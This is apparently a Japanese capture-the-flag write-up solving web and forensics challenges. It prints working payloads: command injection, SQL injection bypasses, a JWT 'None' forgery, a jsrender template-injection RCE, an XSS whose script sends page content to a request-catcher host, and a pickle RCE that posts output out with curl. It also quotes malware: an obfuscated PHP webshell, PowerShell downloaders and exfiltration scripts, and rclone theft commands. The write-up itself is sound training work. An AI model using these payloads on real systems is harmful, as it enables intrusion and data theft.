- [web] Trapped Source
- [web] Gunhead
- [web] Drobots
- [web] Passman
- [web] Orbital
- [web] Didactic Octo Paddles
- [web] SpyBug
- [web] TrapTrack
- [Forensics] Plaintext Tleasure
- [Forensics] Alien Cradle
- [Forensics] Extraterrestrial Persistence
- [Forensics] Roten
- [Forensics] Packet Cyclone
- [Forensics] Artifacts of Dangerous Sightings
- [Forensics] Relic Maps
- [Forensics] Bashic Ransomware
- [Forensics] Interstellar C2
[web] Trapped Source
PINコードを入力する画面が与えられる。
Burp Suiteを開いて、ページを操作してみると、GET /static/js/script.js
というリクエストがある。
ここでCONFIG.correctPin == pin
という記載があり、どこかにcorrectPinというのが置いてありそう。
GET /
の履歴を見るとcorrectPin: "8291",
と記載があり、これを使えばフラグが得られる。
[web] Gunhead
/flag.txt
を取得するのが目的。
ReconModel.phpを見るとコマンドインジェクションできる攻撃点が見つかる。
public function getOutput()
{
# Do I need to sanitize user input before passing it to shell_exec?
return shell_exec('ping -c 3 '.$this->ip);
}
ここへはReconController.phpからの入力が入る。
さて、実際にサイトを起動してみるとサイバーな画面が出てくる。
右のコンソールボタンからコンソールを起動しよう。/helpとするとpingコマンドが見つかる。
/ping localhost
のように使う。
コマンドインジェクションするので、/ping ||cat /flag.txt
とするとフラグが得られる。
[web] Drobots
/home
にアクセスすればフラグが得られるが、ログイン済みである必要がある。
どこを攻撃するかであるが、database.pyを見るとSQL Injectionの脆弱性が見つかる。
user = query_db(f'SELECT password FROM users WHERE username = "{username}" AND password = "{password}" ', one=True)
ユーザー名についてはentrypoint.shを見ると
INSERT INTO drobots.users (username, password) VALUES ('admin', '$(genPass)');
とあるのでusername=adminでログインができればよさそう。
username: admin
password: " or ""="
以上を入れると、
SELECT password FROM users WHERE username = "admin" AND password = "" or ""=""
のようになり、""=""
が常にtrueなので条件が必ず満たされ、ログインできる。
[web] Passman
ソースコードが与えられているので、とりあえずフラグの置き場を探す。
entrypoint.shに以下のようにある。
INSERT INTO passman.saved_passwords (owner, type, address, username, password, note) VALUES ('admin', 'Web', 'igms.htb', 'admin', 'HTB{f4k3_fl4g_f0r_t3st1ng}', 'password'),
これが取れればいい。
よーく見てみると、GraphqlHelper.jsから追えるUpdatePasswordを見ると、
で任意のユーザーのパスワード変更ができるようになっている。
これでadminのパスワードを変更してログインができそう。
ログイン後に以下のようなリクエストを投げる。
POST /graphql HTTP/1.1 Host: 178.62.64.13:30554 Content-Length: 194 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36 Content-Type: application/json Accept: */* Origin: http://178.62.64.13:30554 Referer: http://178.62.64.13:30554/dashboard Accept-Encoding: gzip, deflate Accept-Language: ja,en-US;q=0.9,en;q=0.8 Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImV2aWxtYW4iLCJpc19hZG1pbiI6MCwiaWF0IjoxNjc5MjI1NTczfQ.KDljmUhM5YmkLKW6TLeSP7wiSd6LxRcjp6SIXy8oaqs Connection: close {"query":"mutation($username: String!, $password: String!) { UpdatePassword(username: $username, password: $password) { message, token } }","variables":{"username":"admin","password":"newpassword"}}
Password updated successfully!
ok!
新しく設定した認証情報でログインすればフラグが書いてある。
[web] Orbital
ソースコードが与えられる。
/signal_sleuth_firmware
が読めればフラグが得られる。
database.pyにSQL Injectionポイントがある。
user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True)
ログインができればPOST /api/export
にあるパストラバーサルでフラグが取れそう。
なので、目下の目的はログインすることになる。
ログインロジックは以下の通り。
def passwordVerify(hashPassword, password): md5Hash = hashlib.md5(password.encode()) if md5Hash.hexdigest() == hashPassword: return True else: return False def login(username, password): # I don't think it's not possible to bypass login because I'm verifying the password later. user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True) if user: passwordCheck = passwordVerify(user['password'], password) if passwordCheck: token = createJWT(user['username']) return token else: return False
存在しているユーザーは
INSERT INTO orbital.users (username, password) VALUES ('admin', '$(genPass)');
という感じ。adminは使える。
SELECTの応答をadmin:不明
ではなくadmin:任意の応答
のようにできれば、
任意のパスワードのmd5ハッシュを入れ込んで検証へ使用させることができる。
pass
のmd5ハッシュは1a1dc91c907325c69271ddf0c944bc72であるので、これでやってみる。
最初はこの形。
SELECT username, password FROM users WHERE username = "
まずは何も出力しないようにする。
SELECT username, password FROM users WHERE username = ""
これで何も出てこない。ここにunionで偽造の応答を作っていく。
SELECT username, password FROM users WHERE username = "" union select "admin", "1a1dc91c907325c69271ddf0c944bc72"
これでOK。こうするための入力は" union select "admin", "1a1dc91c907325c69271ddf0c944bc72
なので、これをusernameとして入れて、passwordをpass
にすればログイン可能。
あとはPOST /api/export
で{"name":"../signal_sleuth_firmware"}
とすれば
return send_file(f'/communications/../signal_sleuth_firmware', as_attachment=True)
のような感じになってルート直下のファイルが読み出せる。
フラグを見るとTime-based Blind SQLiが想定解っぽい。
[web] Didactic Octo Paddles
ソースコードを見ていくと、AdminMiddleware.jsの実装がかなりあやしい。
const AdminMiddleware = async (req, res, next) => { try { const sessionCookie = req.cookies.session; if (!sessionCookie) { return res.redirect("/login"); } const decoded = jwt.decode(sessionCookie, { complete: true }); if (decoded.header.alg == 'none') { return res.redirect("/login"); } else if (decoded.header.alg == "HS256") { const user = jwt.verify(sessionCookie, tokenKey, { algorithms: [decoded.header.alg], }); if ( !(await db.Users.findOne({ where: { id: user.id, username: "admin" }, })) ) { return res.status(403).send("You are not an admin"); } } else { const user = jwt.verify(sessionCookie, null, { algorithms: [decoded.header.alg], }); if ( !(await db.Users.findOne({ where: { id: user.id, username: "admin" }, })) ) { return res .status(403) .send({ message: "You are not an admin" }); } } } catch (err) { return res.redirect("/login"); } next(); };
algがnone,HS256以外の時は鍵がnullになる。
ok.
とりあえずユーザーを作ってjwtを発行してもらおう。
POST /register HTTP/1.1 Host: 165.227.224.40:31433 Content-Length: 43 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36 Content-Type: application/json Accept: */* Origin: http://165.227.224.40:31433 Referer: http://165.227.224.40:31433/login Accept-Encoding: gzip, deflate Accept-Language: ja,en-US;q=0.9,en;q=0.8 Connection: close {"username":"test","password":"test"}
ログイン後に/admin
を見てみるが、拒否される。
import jwt payload = { "id": 1, "iat": 1679230796, "exp": 1679234396 } res = jwt.encode(payload, '', algorithm='none') print(res)
普通にnoneで作るとこんな感じだが、プログラム的にはNoneにすれば回避できそう。
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MSwiaWF0IjoxNjc5MjMwNzk2LCJleHAiOjE2NzkyMzQzOTZ9.
このような感じで作られてくる。base64でデコードされているのでnoneをNoneに変更してみる。
CyberChefでやったのはこんな感じ。
https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)Find/Replace(%7B'option':'Simple%20string','string':'none'%7D,'None',true,false,true,false)To_Base64('A-Za-z0-9%2B/%3D')Find/Replace(%7B'option':'Simple%20string','string':'%3D'%7D,'',true,false,true,false)&input=ZXlKaGJHY2lPaUp1YjI1bElpd2lkSGx3SWpvaVNsZFVJbjA
最終的には以下を使えばadminログイン可能。
eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpZCI6MSwiaWF0IjoxNjc5MjMwNzk2LCJleHAiOjE2NzkyMzQzOTZ9.
/admin
を使って攻撃を考えてみる。
router.get("/admin", AdminMiddleware, async (req, res) => { try { const users = await db.Users.findAll(); const usernames = users.map((user) => user.username); res.render("admin", { users: jsrender.templates(`${usernames}`).render(), }); } catch (error) { console.error(error); res.status(500).send("Something went wrong!"); } });
jsrenderに任意の入力ができて、テンプレートエンジンなのでSSTIだろう。
軽く検索するとRCEできるペイロードがある。
これをつかう感じで以下のようにユーザーを作る。
POST /register HTTP/1.1 Host: 165.227.224.40:31433 Content-Length: 187 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36 Content-Type: application/json Accept: */* Origin: http://165.227.224.40:31433 Referer: http://165.227.224.40:31433/login Accept-Encoding: gzip, deflate Accept-Language: ja,en-US;q=0.9,en;q=0.8 Connection: close {"username":"{{:\"pwnd\".toString.constructor.call({},\"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()\")()}}","password":"test"}
これでGET /admin
するとフラグが手に入る。
[web] SpyBug
管理者の権限でGET /panel
を開くとフラグが書いてある。
60秒に1度、管理者が/panel
を開くので、何とかXSSを狙う。
このページでは登録したagent情報が表示される。
ログインはできないが、agent登録自体にはログイン済みが要求されないので、適当にagentを登録することで、
その情報を/panel
に映すことができる。
HTMLタグを埋め込む手順としては、以下のような感じ。
手元で動かすと埋め込まれていることがわかりやすい。
/agents/register
を開いて新しくagentを登録する。{"identifier":"a16b34a5-b5cf-4d1c-930c-03030a3ca7a4","token":"31722f38-446b-4b15-adf3-ebbac2a8dd24"}
のようにIDとtokenがもらえる/agents/details/a16b34a5-b5cf-4d1c-930c-03030a3ca7a4/31722f38-446b-4b15-adf3-ebbac2a8dd24
を使ってhostname, platform, archが変更できる。ここでhtmlタグがうめこめる/panel
を開くとHTMLタグが埋め込まれていることがわかる。
これでjsコードが動くか…と思ったがCSPに阻まれる。
Content-Security-Policy: script-src 'self'; frame-ancestors 'none'; object-src 'none'; base-uri 'none';
これを解決するために、agentsのファイルアップロード機能を悪用する。
script-src 'self';
が付いているのでファイルアップロードしたものをscript srcで読み込んで動かせることができればCSPを回避できそう。
↑の例で言うと、/agents/upload/da8faa7d-7a2c-49fc-967f-ab997f88d963/65423090-2656-458f-9b7c-f47e7f8577fa
に対してファイルを送る感じ。
だが、アップロード時にwavファイルである検証がある。
どうやってjsコードを差し込もうかな…と思い、ここで、ソースコードに含まれるrec.wavファイルをバイナリエディタで見てみると、すでに構築されていた。
$ hd rec.wav | head -n 20 00000000 52 49 46 46 2f 2a 16 00 57 41 56 45 66 6d 74 20 |RIFF/*..WAVEfmt | 00000010 10 00 00 00 01 00 02 00 80 bb 00 00 00 ee 02 00 |................| 00000020 04 00 10 00 4c 49 53 54 9a 00 00 00 49 4e 46 4f |....LIST....INFO| 00000030 49 41 52 54 06 00 00 00 44 75 72 61 6e 00 49 43 |IART....Duran.IC| 00000040 4d 54 2c 00 00 00 68 74 74 70 73 3a 2f 2f 77 77 |MT,...https://ww| 00000050 77 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 2f 77 61 |w.youtube.com/wa| 00000060 74 63 68 3f 76 3d 78 76 46 5a 6a 6f 35 50 67 47 |tch?v=xvFZjo5PgG| 00000070 30 00 49 43 52 44 09 00 00 00 32 30 32 30 30 37 |0.ICRD....202007| 00000080 32 38 00 00 49 4e 41 4d 24 00 00 00 52 69 63 6b |28..INAM$...Rick| 00000090 20 52 6f 6c 6c 20 28 44 69 66 66 65 72 65 6e 74 | Roll (Different| 000000a0 20 6c 69 6e 6b 20 2b 20 6e 6f 20 61 64 73 29 00 | link + no ads).| 000000b0 49 53 46 54 0e 00 00 00 4c 61 76 66 35 38 2e 37 |ISFT....Lavf58.7| 000000c0 36 2e 31 30 30 00 64 61 74 61 2a 2f 3d 22 22 3b |6.100.data*/="";| 000000d0 61 6c 65 72 74 28 30 29 3b 2f 2a 00 00 00 00 00 |alert(0);/*.....| 000000e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
これを試しに読み込んで動かしてみるとエラーになる。
よくよく見ると、*/
が含まれており、ゴミが入ってしまっている。
ファイルの検証はどうせ先頭しか使わないだろうと思い、ファイルの上記に書いてあるくらいの先頭バイトを取り出して、末尾に*/
を追加して使ってみると動いた。
これをアップロードしてみると検証を回避できた。ok.
これでパーツはそろったので、以下のような手順で攻撃する。
/agents/register
を開いて新しくagentを登録する。{"identifier":"a16b34a5-b5cf-4d1c-930c-03030a3ca7a4","token":"31722f38-446b-4b15-adf3-ebbac2a8dd24"}
のようにIDとtokenがもらえる- rec.wavの先頭部分を取り出し、
alert(0)
の部分をfetch('/panel').then(e=>e.text()).then(e=>{window.location.href='https://[yours].requestcatcher.com/test?get='+e;})
に変更して保存しておく - rec.wavを
/agents/upload/da8faa7d-7a2c-49fc-967f-ab997f88d963/65423090-2656-458f-9b7c-f47e7f8577fa
を使ってアップロードしてGUIDを受け取る /agents/details/a16b34a5-b5cf-4d1c-930c-03030a3ca7a4/31722f38-446b-4b15-adf3-ebbac2a8dd24
を使ってhostname, platform, archがする。このとき、archに<script src="/uploads/{guid}"></script>
を入れる- しばらく待つと管理者が
/panel
を開き、scriptタグ経由でrec.wavに含まれるjsコードが発動し、requestcatcherに/panel
の内容が送られる
rec.wavを作る所以外は自動化した。コードは以下。
import requests import json BASE = 'http://localhost:1337/' res = json.loads(requests.get(BASE + 'agents/register').text) identifier = res['identifier'] token = res['token'] assert requests.get(f'{BASE}agents/check/{identifier}/{token}').text == 'OK' name = 'rec.wav' guid = requests.post(f'{BASE}agents/upload/{identifier}/{token}', files = {'recording': ('rec.wav', open(name, 'rb'),'audio/wave',{})}).text print(f'{BASE}uploads/{guid}') xss = f'<script src="/uploads/{guid}"></script>' requests.post(f'{BASE}agents/details/{identifier}/{token}', data={'hostname':'a', 'platform':'b', 'arch': xss})
[web] TrapTrack
フロントエンドのサイトと、curlでリクエストを送ることができるサイトが用意されている。
フロントエンドではcurlで開くURLを登録でき、pickleでシリアライズされたジョブをredisをキューとして使って受け渡している。
というのがサイトの概要。
/readflag
を実行して中身を取得する必要があり、RCEが要求される。
全体概要について、最初にまとめて説明してしまう。
pickleと言えばUnsafe Deserializationであり、これならRCEまで持っていける。
redisが使われていて、curlでリクエストを飛ばせるということはSSRFでredisに任意の内容を入れ込むことができる。
redisに任意の内容が入れ込むことができるということは、pickleでシリアライズされたジョブを自由に設定できるということで、
つまり、Unsafe Deserializationが引き起こせるということになる。
SSRFからのredisに任意データ差し込み
curlで任意のURLを開くことができるので、SSRF脆弱性が存在している。
実はこの場合、redisに任意のデータが入れ込める可能性がある。
ソースコードは与えられているので、localで環境を立ち上げて、ターミナルに入ってみる。
起動直後のredisの中身を見てみよう。
# redis-cli -h localhost localhost:6379> keys * 1) "100" 2) "jobs" localhost:6379> hkeys jobs 1) "100" localhost:6379> hget jobs 100 "gASVeAAAAAAAAAB9lCiMBmpvYl9pZJRLZIwJdHJhcF9uYW1llIwJV2lraXBlZGlhlIwIdHJhcF91cmyUjBpodHRwczovL3d3dy53aWtpcGVkaWEub3JnL5SMCWNvbXBsZXRlZJRLAYwKaW5wcm9ncmVzc5RLAIwGaGVhbHRolEsBdS4="
なるほど。
サイトを立ち上げてadmin:adminでログインして、以下のURLを踏ませてみる。
dict://127.0.0.1:6379/hset jobs 200 "test"
しばらく待って再度jobsの中身を見てみよう。
localhost:6379> hkeys jobs 1) "200" 2) "101" 3) "100" localhost:6379> hget jobs 200 "test"
先ほどの文字列が追加されている!
このようにdictプロトコルなどを使えば、直接TCPリクエストを飛ばすことができ、redisに対して任意の操作が行える。
Unsafe DeserializationからのRCE
この場合のUnsafe Deserializationをかなりざっくりいうと、外部からpickleでシリアライズされたデータを
pickle.loads
に渡すことができれば、その時点でRCE達成できる。
この場所を探すとcache.pyに以下のようなコードがある。
def get_job_queue(job_id): data = current_app.redis.hget(env('REDIS_JOBS'), job_id) if data: return pickle.loads(base64.b64decode(data)) return None
いい感じ。これを呼んでいるのがroutes.pyの以下。
@api.route('/tracks/<int:job_id>/status', methods=['GET']) @login_required def job_status(job_id): data = get_job_queue(job_id) if not data: return response('Job does not exist!', 401) return Response(json.dumps(data), mimetype='application/json')
job_idを指定するだけでredisから持ってきてpickle.loadsに食わせてくれる。
これを悪用すればよさそう。
payload作成と攻略へ
Unsafe Deserializationでデシリアライズさせるpayloadを用意しよう。
以下のように用意可能。
import pickle, base64 from os import system data = "/readflag | curl https://[yours].requestcatcher.com/test -X POST -d @-" class Evil(): def __reduce__(self): return(system,(data,)) print(base64.b64encode(pickle.dumps(Evil())))
RCEコードではreadflagを実行して、その結果をcurlを使って指定エンドポイントにPOSTで送っている。
これでgASVeAAAAAAAAAB9lCiMBmpvYl9p...
みたいなものが出力されるので、これをredisに差し込む。
job_idは999を使ってみる。
dict://127.0.0.1:6379/hset jobs 999 "gASVeAAAAAAAAAB9lCiMBmpvYl9p..."
これでredisに悪意あるpickleシリアライズドデータが入ったので、最後にGET /api/tracks/999/status
をすればコマンド実行される。
[Forensics] Plaintext Tleasure
pcapファイルが与えられて、管理者のユーザ名とパスワードを見つけよという問題。
プロトコル階層統計を眺めると、HTTP通信が中心っぽいので、TCPストリームを順番に眺めていくことにした。
するとストリーム4にて、ユーザー名パスワードが送られている部分があり、フラグが書いてある。
[Forensics] Alien Cradle
powershellのスクリプトファイルが与えられる。
適当に;で改行して整形すると、以下のようにフラグっぽい行があるので、つなげると答え。
$f = 'H' + 'T' + 'B' + '{p0w3rs' + 'h3ll' + '_Cr■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■_d' + '0n3}';
[Forensics] Extraterrestrial Persistence
シェルスクリプトが与えられる。
目を引くのは以下の行。
echo -e "W1VuaXRdCkRlc2NyaXB0aW9uPUhUQnt0aDNzM180bDEzblNfNHIzX3MwMDAwMF9iNHMxY30KQWZ0ZXI9bmV0d29yay50YXJnZXQgbmV0d29yay1vbmxpbmUudGFyZ2V0CgpbU2VydmljZV0KVHlwZT1vbmVzaG90ClJlbWFpbkFmdGVyRXhpdD15ZXMKCkV4ZWNTdGFydD0vdXNyL2xvY2FsL2Jpbi9zZXJ2aWNlCkV4ZWNT■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■"|base64 --decode > /usr/lib/systemd/system/service.service
base64エンコードされた文字列がデコードされてどこかに保存されている。
場所からして問題の題名にもあるように永続化のためだろう。
W1Vua...の部分を取り出してきてCyberChefあたりで
From Base64
でbase64デコードするとフラグが出てくる。
[Forensics] Roten
pcapファイルが与えられる。
HTTP通信以外は特にめぼしい通信はないので、TCPストリームを巡回してみるか…と思ったが結構量が多い。
「オブジェクトをエクスポート」から「HTTP」でとりあえず全部持ってくることにした。
map-update(9).phpに怪しい出力があった。
TCPストリーム#173を見ると該当ファイルが通信されている。
-----------------------------310973569542634246533468492466 Content-Disposition: form-data; name="uploaded_file"; filename="galacticmap.php" Content-Type: application/x-php <?php $pPziZoJiMpcu = 82; $liGBOKxsOGMz = array(); $iyzQ5h8qf6 = "" ; $iyzQ5h8qf6 .= "<nnyo ea\$px-aloerl0=e r\$0' weme Su rgsr s\"eu>\"e'Er= elmi)y ]_'t>bde e e =p xt\" ?ltps vdfic-xetrmsx'l0em0 o\"oc&'t [r\"e _e;eV.ncxm'vToil ,F y"; ・・・ $iyzQ5h8qf6 .= " \ni. \"sio woTp re(ma!jionee e &\"( r \$t\$xe'c e\$1 i ll2'd='oe'lpbf)d '\$.sr<cr\nl h r . .in "; for($i = 0; $i < $pPziZoJiMpcu; $i++) $liGBOKxsOGMz[] = ""; for($i = 0; $i < (strlen($iyzQ5h8qf6) / $pPziZoJiMpcu); $i++) { for($r = 0; $r < $pPziZoJiMpcu; $r++) $liGBOKxsOGMz[$r] .= $iyzQ5h8qf6[$r + $i * $pPziZoJiMpcu]; } $bhrTeZXazQ = trim(implode("", $liGBOKxsOGMz)); $bhrTeZXazQ = "?>$bhrTeZXazQ"; eval( $bhrTeZXazQ ); ?> -----------------------------310973569542634246533468492466--
プログラムを読むと難読化解除してevalに投げている感じなので、evalをechoに変えて実行することで難読化を解除する。
すると、その中にフラグが書いてあった。
$ php a.php | grep HTB ##flag = HTB{■■■■■■■■■}
[Forensics] Packet Cyclone
Windowsのイベントログとsigmaルールが与えられる。
問題文にchainsawを使って解析せよと書いてあるので従うことにする。
- Release v2.5.0 · WithSecureLabs/chainsawから最新持ってきて解凍
./chainsaw hunt --mapping mappings/sigma-event-logs-all.yml -s ../sigma_rules/ ../Logs
な感じで実行
すると以下2件のコマンド実行が検知される。
"C:\Users\wade\AppData\Local\Temp\rclone-v1.61.1-windows-amd64\rclone.exe" config create remote mega user majmeret@protonmail.com pass FBMeavdiaFZbWzpMqIVhJCGXZ5XXZI1qsU3EjhoKQw0rEoQqHyI "C:\Users\wade\AppData\Local\Temp\rclone-v1.61.1-windows-amd64\rclone.exe" copy C:\Users\Wade\Desktop\Relic_location\ remote:exfiltration -v
rclone使ったことなかったがこういう感じなのね。分かりやすい。
問題に答えていこう。
$ nc 143.110.160.221 30158 What is the email of the attacker used for the exfiltration process? (for example: name@email.com) > majmeret@protonmail.com [+] Correct! What is the password of the attacker used for the exfiltration process? (for example: password123) > FBMeavdiaFZbWzpMqIVhJCGXZ5XXZI1qsU3EjhoKQw0rEoQqHyI [+] Correct! What is the Cloud storage provider used by the attacker? (for example: cloud) > mega [+] Correct! What is the ID of the process used by the attackers to configure their tool? (for example: 1337) > 3820 [+] Correct! > C:\Users\Wade\Desktop\Relic_location [+] Correct! What is the name of the folder the attacker exfiltrated the files to? (for example: exfil_folder) > exfiltration [+] Correct! [+] Here is the flag:
[Forensics] Artifacts of Dangerous Sightings
vhdxファイルが与えられる。
開けるかな…と思ってFTK Imagerを開いてみると開ける。
適当に巡回していくと、C:\Windows\Tasks\ActiveSyncProvider.dll
のAlternate Data Streamにhidden.ps1というファイルが置いてあった。
がっつり難読化されていたので解析していく。
powerShell.exe -WindowStyle hiddeN -ExecuTionPolicy ByPasS -enc JAB7AFsAfgBAAH0AIAA9ACAAJAAoACkAOwAgACQAewAhACEAQAAhACEAXQB9ACAAPQAgACsAKwAkAHsAWwB+AEAAfQA7ACAAJAB7AFsAWwAhAH0AIAA9ACAALQAtACQAewBbAH4AQAB9ACAAKwAgACQAewAhACEAQAAhACEAXQB9ACAAKwAgACQAewAhACEAQAAhACEAXQB9ADsAIAAkAHsAfgB...
いつものbase64エンコーディングされている感じなので
https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)Decode_text('UTF-16LE%20(1200)')&input=cGF5bG9hZA
のような感じでbase64デコードして、UTF-16として読み込む。
ちょっと整理したが、以下のようなものが出てくる。
${[~@} = $(); ${!!@!!]} = ++${[~@}; ${[[!} = --${[~@} + ${!!@!!]} + ${!!@!!]}; ${~~~]} = ${[[!} + ${!!@!!]}; ${[!![!} = ${[[!} + ${[[!}; ${(~(!} = ${~~~]} + ${[[!}; ${!~!))} = ${[!![!} + ${[[!}; ${((!} = ${!!@!!]} + ${[!![!} + ${[[!}; ${=!!@!!} = ${~~~]} - ${!!@!!]} + ${!~!))}; ${!=} = ${((!} - ${~~~]} + ${!~!))} - ${!!@!!]}; ${=@!~!} = "".("$(@{})"[14]+"$(@{})"[16]+"$(@{})"[21]+"$(@{})"[27]+"$?"[1]+"$(@{})"[3]); ${=@!~!} = "$(@{})"[14]+"$?"[3]+"${=@!~!}"[27]; ${@!=} = "["+"$(@{})"[7]+"$(@{})"[22]+"$(@{})"[20]+"$?"[1]+"]"; "${@!=}${~~~]}${(~(!....} | ${=@!~!}" |& ${=@!~!}
結構厳しい感じ。動的解析しながら解析していくことにする。順番に実行していきながら見てみると最後の${=@!~!}
がiexになることがわかる。
なので、最後の|& ${=@!~!}
だけを消して、最終的に使われる文字列を抜き出す。
隔離環境でやること。
[Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + … + [Char]34 + [Char]10 | iex
同様にiexを消して動かすとさらに難読化解除でき、やっと最終的な形になる。
### . . . . . . . . . + . ### . . : . .. :. .___---------___. ### . . . . :.:. _".^ .^ ^. '.. :"-_. . ### . : . . .:../: . .^ :.:\. ### . . :: +. :.:/: . . . . . .:\ ### . : . . _ :::/: .:\ ### .. . . . - : :.:./. .:\ ### . . : . : .:.|. ###### #######::| ### :.. . :- : .: ::|.####### ########:| ### . . . .. . .. :\ ######## ######## :/ ### . .+ :: : -.:\ ######## ########.:/ ### . .+ . . . . :.:\. ####### #######..:/ ### :: . . . . ::.:..:.\ ..:/ ### . . . .. : -::::.\. | | .:/ ### . : . . .-:.":.::.\ .:/ ### . -. . . . .: .:::.:.\ .:/ ### . . . : : ....::_:..:\ ___ :/ ### . . . .:. .. . .: :.:.:\ :/ ### + . . : . ::. :.:. .:.|\ .:/| ### SCRIPT TO DELAY HUMAN RESEARCH ON RELIC RECLAMATION ### STAY QUIET - HACK THE HUMANS - STEAL THEIR SECRETS - FIND THE RELIC ### GO ALLIENS ALLIANCE !!! function makePass { $alph=@(); 65..90|foreach-object{$alph+=[char]$_}; $num=@(); 48..57|foreach-object{$num+=[char]$_}; $res = $num + $alph | Sort-Object {Get-Random}; $res = $res -join ''; return $res; } function makeFileList { $files = cmd /c where /r $env:USERPROFILE *.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php; $List = $files -split '\r'; return $List; } function compress($Pass) { $tmp = $env:TEMP; $s = 'https://relic-reclamation-anonymous.alien:1337/prog/'; $link_7zdll = $s + '7z.dll'; $link_7zexe = $s + '7z.exe'; $7zdll = '"'+$tmp+'\7z.dll"'; $7zexe = '"'+$tmp+'\7z.exe"'; cmd /c curl -s -x socks5h://localhost:9050 $link_7zdll -o $7zdll; cmd /c curl -s -x socks5h://localhost:9050 $link_7zexe -o $7zexe; $argExtensions = '*.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php'; $argOut = 'Desktop\AllYourRelikResearchHahaha_{0}.zip' -f (Get-Random -Minimum 100000 -Maximum 200000).ToString(); $argPass = '-p' + $Pass; Start-Process -WindowStyle Hidden -Wait -FilePath $tmp'\7z.exe' -ArgumentList 'a', $argOut, '-r', $argExtensions, $argPass -ErrorAction Stop; } $Pass = makePass; $fileList = @(makeFileList); $fileResult = makeFileListTable $fileList; compress $Pass; $TopSecretCodeToDisableScript = "HTB{■■■■■■■■■■■■■■■■■■■}"
フラグが書いてある。
[Forensics] Relic Maps
oneファイルが与えられる。
DissectMalware/pyOneNote: A python library to parse OneNote (.one) files
これを使ってファイルをダンプしてみる。
htaファイルが含まれている。
以下の部分が気になる。
ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/uploads/soft/topsecret-maps.one -OutFile $env:tmp\tsmap.one; Start-Process -Filepath $env:tmp\tsmap.one" ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/get/DdAbds/window.bat -OutFile $env:tmp\system32.bat; Start-Process -Filepath $env:tmp\system32.bat"
window.batをとりあえず難読化解除する。
普通に置換していけばよさそうだが、面倒なので動的解析。
@echo off set "eFlP=set " %eFlP%"ualBOGvshk=ws" … %eUFw%"TOqZKQRZli=uZOc" %CJnGNBkyYp%%UBndSzFkbH%%ujJtl… cls %dzPrbmmccE%%xQseEVnPet% %eDhTebXJLa%%vShQyqnqqU%%KsuJog… exit /b
ざっくりこんな感じになっていて、前半は変数代入。
使われている所は直前にechoをつけて内容をひっぱってくる。
1番目はコレ。
copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y "a.bat.exe"
ok.
cd "C:\Users\WDAGUtilityAccount\Documents\"
これもok.最後がメイン。見やすいように適当に改行を入れている。
"a.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\WDAGUtilityAccount\Documents\a.bat').Split([Environment]::NewLine); foreach ($YiLGW in $eIfqq) { if ($YiLGW.StartsWith(':: ')) { $VuGcO = $YiLGW.Substring(3); break; }; }; $uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO); $BacUA = New-Object System.Security.Cryptography.AesManaged; $BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC; $BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7; $BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20='); $BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw=='); $Nlgap = $BacUA.CreateDecryptor(); $uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length); $Nlgap.Dispose(); $BacUA.Dispose(); $mNKMr = New-Object System.IO.MemoryStream(, $uZOcm); $bTMLk = New-Object System.IO.MemoryStream; $NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress); $NVPbn.CopyTo($bTMLk); $NVPbn.Dispose(); $mNKMr.Dispose(); $bTMLk.Dispose(); $uZOcm = $bTMLk.ToArray(); $gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm); $PtfdQ = $gDBNO.EntryPoint; $PtfdQ.Invoke($null, (, [string[]] ('')))
という感じ。
window.batに::
から始まる怪しいコメントがあったが、これを使って復元していくみたい。
復元後にgzipで解凍しているので、この操作も含めてcyberchefを使って抜き出すとMZという文字が出てくるのでPEファイルが取れてきているみたい。レシピはこんな感じ。
取ってこれたファイルをfileコマンドで見てみると
download.dat: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
OK. dnSpyで開いてさらに中身を確認してみると、平文で書かれているフラグを見つけることができる。
[Forensics] Bashic Ransomware
色々ファイルが与えられる。
